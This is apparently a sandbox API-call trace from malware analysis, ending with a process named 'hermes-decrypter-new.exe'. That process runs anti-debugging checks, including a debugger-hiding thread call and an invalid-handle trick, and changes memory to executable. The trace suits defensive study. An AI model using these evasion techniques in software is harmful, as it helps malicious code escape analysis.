0x0 [0177.993] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.993] SendMessageW (hWnd=0x90016, Msg=0xb0, wParam=0x2ebf6a0, lParam=0x19e088) returned 0x0 [0177.993] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0xb0, wParam=0x2ebf6a0, lParam=0x19e088) returned 0x0 [0177.993] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0177.993] SendMessageW (hWnd=0x3020e, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.993] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.993] SendMessageW (hWnd=0x3020e, Msg=0xb0, wParam=0x2ebf7f0, lParam=0x19e088) returned 0x0 [0177.993] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0xb0, wParam=0x2ebf7f0, lParam=0x19e088) returned 0x0 [0177.993] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0177.994] SendMessageW (hWnd=0x501dc, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.994] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501dc, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.994] SendMessageW (hWnd=0x501dc, Msg=0xb0, wParam=0x2ebf934, lParam=0x19e088) returned 0x0 [0177.994] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501dc, Msg=0xb0, wParam=0x2ebf934, lParam=0x19e088) returned 0x0 [0177.994] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501dc, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0177.994] SendMessageW (hWnd=0x70126, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.994] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x70126, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.994] SendMessageW (hWnd=0x70126, Msg=0xb0, wParam=0x2ebfa78, lParam=0x19e088) returned 0x0 [0177.994] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x70126, Msg=0xb0, wParam=0x2ebfa78, lParam=0x19e088) returned 0x0 [0177.994] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x70126, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0177.994] InvalidateRect (hWnd=0x30212, lpRect=0x0, bErase=0) returned 1 [0177.994] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.994] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.994] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.995] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.995] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.995] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20218, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.995] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021a, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.995] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.995] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.995] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.995] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20222, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.995] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20224, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.995] SendMessageW (hWnd=0x20226, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.995] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20226, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.995] SendMessageW (hWnd=0x20226, Msg=0xb0, wParam=0x2ec0ccc, lParam=0x19e088) returned 0x0 [0177.995] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20226, Msg=0xb0, wParam=0x2ec0ccc, lParam=0x19e088) returned 0x0 [0177.995] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20226, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0177.996] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x20228, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.996] SendMessageW (hWnd=0x2022a, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.996] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0177.996] SendMessageW (hWnd=0x2022a, Msg=0xb0, wParam=0x2ec0f8c, lParam=0x19e088) returned 0x0 [0177.996] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0xb0, wParam=0x2ec0f8c, lParam=0x19e088) returned 0x0 [0177.996] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0177.996] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.996] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2022e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.996] SendMessageW (hWnd=0x20230, Msg=0x147, wParam=0x0, lParam=0x0) returned 0x1 [0177.996] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x20230, Msg=0x147, wParam=0x0, lParam=0x0) returned 0x1 [0177.996] DeleteObject (ho=0xcc10071f) returned 1 [0177.996] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x20230, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.996] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20234, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0177.996] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.996] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.997] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2023a, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0177.997] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1024a, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0177.999] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024c, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.000] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.005] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.006] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.007] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10254, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.008] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.009] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10258, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.010] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025a, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.010] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.011] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.012] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10260, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.013] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10262, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.014] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.015] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10266, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.019] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10268, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.020] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.020] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.021] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1026e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.022] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10270, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.023] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.024] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10274, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.025] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10276, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.026] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10278, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.026] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1027a, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.027] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1027c, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.028] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x1027e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.029] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10272, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.029] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.030] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.031] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x900b0, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.032] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x601fe, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.033] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x80044, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.034] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.035] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.036] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501dc, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.037] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x70126, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.039] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.042] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.043] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.044] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.045] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.046] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021a, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.051] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021c, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.052] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2021e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.053] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20218, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.054] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20222, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.055] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20224, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.056] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20226, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.058] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x20228, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.059] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20220, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.060] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2022a, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.061] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.062] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2022e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.066] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20234, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.067] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x20230, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x1 [0178.070] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.071] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.073] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2023a, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.074] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.074] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0178.074] DestroyWindow (hWnd=0x10240) [0178.075] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0178.075] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0178.075] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 30 os_tid = 0xc70 [0156.140] GetCurrentProcess () returned 0xffffffff [0156.141] GetCurrentProcess () returned 0xffffffff [0156.141] GetCurrentProcess () returned 0xffffffff [0156.142] GetCurrentProcess () returned 0xffffffff [0156.143] GetCurrentProcess () returned 0xffffffff [0156.154] GetCurrentProcess () returned 0xffffffff [0156.374] GetCurrentProcess () returned 0xffffffff [0156.374] GetCurrentProcess () returned 0xffffffff [0156.375] GetCurrentProcess () returned 0xffffffff [0156.377] GetCurrentProcess () returned 0xffffffff [0156.383] GetCurrentProcess () returned 0xffffffff [0156.384] GetCurrentProcess () returned 0xffffffff [0156.384] GetCurrentProcess () returned 0xffffffff [0156.385] GetCurrentProcess () returned 0xffffffff [0156.385] GetCurrentProcess () returned 0xffffffff [0156.386] GetCurrentProcess () returned 0xffffffff Thread: id = 31 os_tid = 0xe40 Thread: id = 32 os_tid = 0x42c [0139.301] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0139.301] RoInitialize () returned 0x1 [0139.301] RoUninitialize () returned 0x0 [0177.274] GdipDeleteRegion (region=0x69239f0) returned 0x0 [0177.277] GdipDeleteFont (font=0x691c770) returned 0x0 [0177.277] GdipDeleteFont (font=0x691c950) returned 0x0 [0177.278] GdipDisposeImage (image=0x69202b0) returned 0x0 [0177.278] GdipDeleteFont (font=0x691c978) returned 0x0 [0177.278] GdipDeleteFont (font=0x691c680) returned 0x0 [0177.278] GdipDeleteFont (font=0x691c810) returned 0x0 [0177.279] GdipDeleteFont (font=0x691c900) returned 0x0 [0177.279] GdipDeleteFont (font=0x691c4f0) returned 0x0 [0177.287] GdipDeleteFont (font=0x691c630) returned 0x0 [0177.287] GdipDeleteFont (font=0x691c658) returned 0x0 [0177.287] GdipDisposeImage (image=0x6923518) returned 0x0 [0177.287] GdipDeleteRegion (region=0x691d298) returned 0x0 [0177.288] GdipDeleteFont (font=0x691c5e0) returned 0x0 [0177.288] GdipDeleteFont (font=0x69119b0) returned 0x0 [0177.288] GdipDeleteFont (font=0x691c540) returned 0x0 [0177.288] GdipDeleteFont (font=0x6911988) returned 0x0 [0177.288] GdipDisposeImage (image=0x691e928) returned 0x0 [0177.289] GdipDeleteFont (font=0x6911938) returned 0x0 [0177.289] GdipDeleteFont (font=0x6911bb8) returned 0x0 [0177.289] GdipDeleteFont (font=0x691c518) returned 0x0 [0177.289] GdipDeleteFont (font=0x6911cd0) returned 0x0 [0177.289] GdipDeleteFont (font=0x6911b90) returned 0x0 [0177.290] GdipDeleteFont (font=0x691c9c8) returned 0x0 [0177.290] GdipDeleteFont (font=0x6911b40) returned 0x0 [0177.290] GdipDeleteFont (font=0x691c9a0) returned 0x0 Thread: id = 34 os_tid = 0x6c8 [0143.510] GetCurrentProcess () returned 0xffffffff [0143.511] GetCurrentProcess () returned 0xffffffff [0143.511] GetCurrentProcess () returned 0xffffffff [0143.512] GetCurrentProcess () returned 0xffffffff [0143.513] GetCurrentProcess () returned 0xffffffff [0143.514] GetCurrentProcess () returned 0xffffffff [0143.514] GetCurrentProcess () returned 0xffffffff [0143.518] GetCurrentProcess () returned 0xffffffff [0143.518] GetCurrentProcess () returned 0xffffffff [0143.519] GetCurrentProcess () returned 0xffffffff [0143.519] GetCurrentProcess () returned 0xffffffff Thread: id = 35 os_tid = 0x174 [0157.153] GetCurrentProcess () returned 0xffffffff Thread: id = 36 os_tid = 0xd6c Thread: id = 37 os_tid = 0xf50 Process: id = "4" image_name = "hermes-decrypter-new.exe" filename = "c:\\fd1hvy\\hermes-decrypter-new.exe" page_root = "0x4cbf2000" os_pid = "0xe08" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\FD1HVy\\Hermes-decrypter-new.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ffc0" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 38 os_tid = 0xe0c [0270.086] LocalAlloc (uFlags=0x0, uBytes=0xa8) returned 0xd2fc68 [0270.088] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x77190000 [0270.090] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77260000 [0270.092] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x19ff14 | out: Wow64Process=0x19ff14) returned 1 [0270.094] IsDebuggerPresent () returned 0 [0270.094] CheckRemoteDebuggerPresent (in: hProcess=0xffffffff, pbDebuggerPresent=0x19fdf0 | out: pbDebuggerPresent=0x19fdf0) returned 1 [0270.096] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x1e, ProcessInformation=0x19fac0, ProcessInformationLength=0x8, ReturnLength=0x19fec0 | out: ProcessInformation=0x19fac0, ReturnLength=0x19fec0) returned 0xc0000353 [0270.096] NtSetInformationThread (ThreadHandle=0xfffffffffffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0270.096] NtQuerySystemInformation (in: SystemInformationClass=0x23, SystemInformation=0x19fed0, Length=0x2, ResultLength=0x0 | out: SystemInformation=0x19fed0, ResultLength=0x0) returned 0x0 [0270.097] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x19fee0, Length=0x0, ResultLength=0x19fec8 | out: SystemInformation=0x19fee0, ResultLength=0x19fec8*=0x9ea8) returned 0xc0000004 [0270.097] LocalAlloc (uFlags=0x0, uBytes=0x13d50) returned 0xd3a738 [0270.097] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0xd3a738, Length=0x13d50, ResultLength=0x0 | out: SystemInformation=0xd3a738, ResultLength=0x0) returned 0x0 [0270.185] LocalFree (hMem=0xd3a738) returned 0x0 [0270.228] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x19fb08, nSize=0xfe | out: lpFilename="C:\\FD1HVy\\Hermes-decrypter-new.exe" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe")) returned 0x22 [0270.229] NtOpenFile (in: FileHandle=0x19fabc, DesiredAccess=0x80100080, ObjectAttributes=0x19fa80*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\FD1HVy\\Hermes-decrypter-new.exe", Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x19faac, ShareAccess=0x3, OpenOptions=0x60 | out: FileHandle=0x19fabc*=0x148, IoStatusBlock=0x19faac*(Status=0x0, Pointer=0x20100000000, Information=0x1)) returned 0x0 [0270.230] NtCreateSection (in: SectionHandle=0x19fab8, DesiredAccess=0x4, ObjectAttributes=0x19fa90*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x148 | out: SectionHandle=0x19fab8*=0x14c) returned 0x0 [0270.230] NtMapViewOfSection (in: SectionHandle=0x14c, ProcessHandle=0xffffffffffffffff, BaseAddress=0x19faac*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x19fdbc00000000, ViewSize=0x19faa4*=0x0, InheritDisposition=0x100000000, AllocationType=0x0, AccessProtection=0x0 | out: BaseAddress=0x19faac*=0x0, SectionOffset=0x19fdbc00000000, ViewSize=0x19faa4*=0x0) returned 0xc00000f6 [0270.231] NtClose (Handle=0x14c) returned 0x0 [0270.231] NtClose (Handle=0x148) returned 0x0 [0270.231] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x426000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x40, OldAccessProtection=0x19fde8 | out: BaseAddress=0x19fac0*=0x426000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fde8*=0x20) returned 0x0 [0270.239] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x41b000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x4, OldAccessProtection=0x19fde8 | out: BaseAddress=0x19fac0*=0x41b000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fde8*=0x2) returned 0x0 [0270.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x401000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x40, OldAccessProtection=0x19fde8 | out: BaseAddress=0x19fac0*=0x401000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fde8*=0x20) returned 0x0 [0270.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x44b000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x4, OldAccessProtection=0x19fde8 | out: BaseAddress=0x19fac0*=0x44b000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fde8*=0x80) returned 0x0 [0270.261] LocalAlloc (uFlags=0x0, uBytes=0x3e6c) returned 0xd3a738 [0270.882] LocalFree (hMem=0xd3a738) returned 0x0 [0270.882] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77190000 [0270.883] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77260000 [0270.884] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77260000 [0270.884] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77260000 [0270.884] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77260000 [0270.884] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77260000 [0270.884] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77260000 [0270.886] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x74ab0000 [0270.886] GetModuleHandleA (lpModuleName="OLEAUT32.dll") returned 0x74e00000 [0270.886] GetModuleHandleA (lpModuleName="WTSAPI32.dll") returned 0x73c70000 [0270.887] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77190000 [0270.888] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77260000 [0270.888] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77260000 [0270.888] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77260000 [0270.889] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77260000 [0270.890] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77260000 [0270.891] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77260000 [0270.891] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77260000 [0270.891] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x765c0000 [0270.892] CloseHandle (hObject=0xdeadc0de) returned 0 [0270.893] VirtualQuery (in: lpAddress=0x8128e0, lpBuffer=0x19f0b8, dwLength=0x1c | out: lpBuffer=0x19f0b8*(BaseAddress=0x812000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x4be000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0270.893] RtlUnwind (TargetFrame=0x19ff48, TargetIp=0x4433fc, ExceptionRecord=0x0, ReturnValue=0x0) [0270.894] NtQueryVirtualMemory (in: ProcessHandle=0xffffffffffffffff, Address=0xd2fc68, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fa94, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fa94, ResultLength=0x0) returned 0x80000002 [0270.894] NtQueryVirtualMemory (in: ProcessHandle=0xffffffffffffffff, Address=0xcd5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fa94, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fa94, ResultLength=0x0) returned 0x80000002 [0270.934] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x19fe9c, lpSystemAffinityMask=0x19fedc | out: lpProcessAffinityMask=0x19fe9c, lpSystemAffinityMask=0x19fedc) returned 1 [0270.934] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x1) returned 